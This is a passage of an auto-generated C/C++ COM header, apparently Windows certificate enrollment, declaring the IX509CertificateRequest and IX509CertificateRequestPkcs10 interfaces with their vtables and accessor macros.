IX509CertificateRequest_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequest_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequest_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequest_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequest_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequest_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequest_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequest_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequest_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequest_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequest_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequest_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequest_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequest_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequest_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequest_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequest_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequest_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequest_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequest_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequest_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequest_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequest_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequest_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequest_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequest_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequest_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0076 */\n/* [local] */ \n\ntypedef \nenum Pkcs10AllowedSignatureTypes\n    {\n        AllowedKeySignature\t= 0x1,\n        AllowedNullSignature\t= 0x2\n    } \tPkcs10AllowedSignatureTypes;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0076_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0076_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab342-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10 : public IX509CertificateRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromPrivateKey( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPublicKey( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions = InheritDefault) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( \n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes = AllowedKeySignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE IsSmartCard( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ReuseKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OldCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Subject( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Subject( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CspStatuses( \n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SmimeCapabilities( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_SmimeCapabilities( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeyContainerNamePrefix( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyContainerNamePrefix( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CryptAttributes( \n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawDataToBeSigned( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCspStatuses( \n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10Vtbl;\n\n    interface IX509CertificateRequestPkcs10\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define 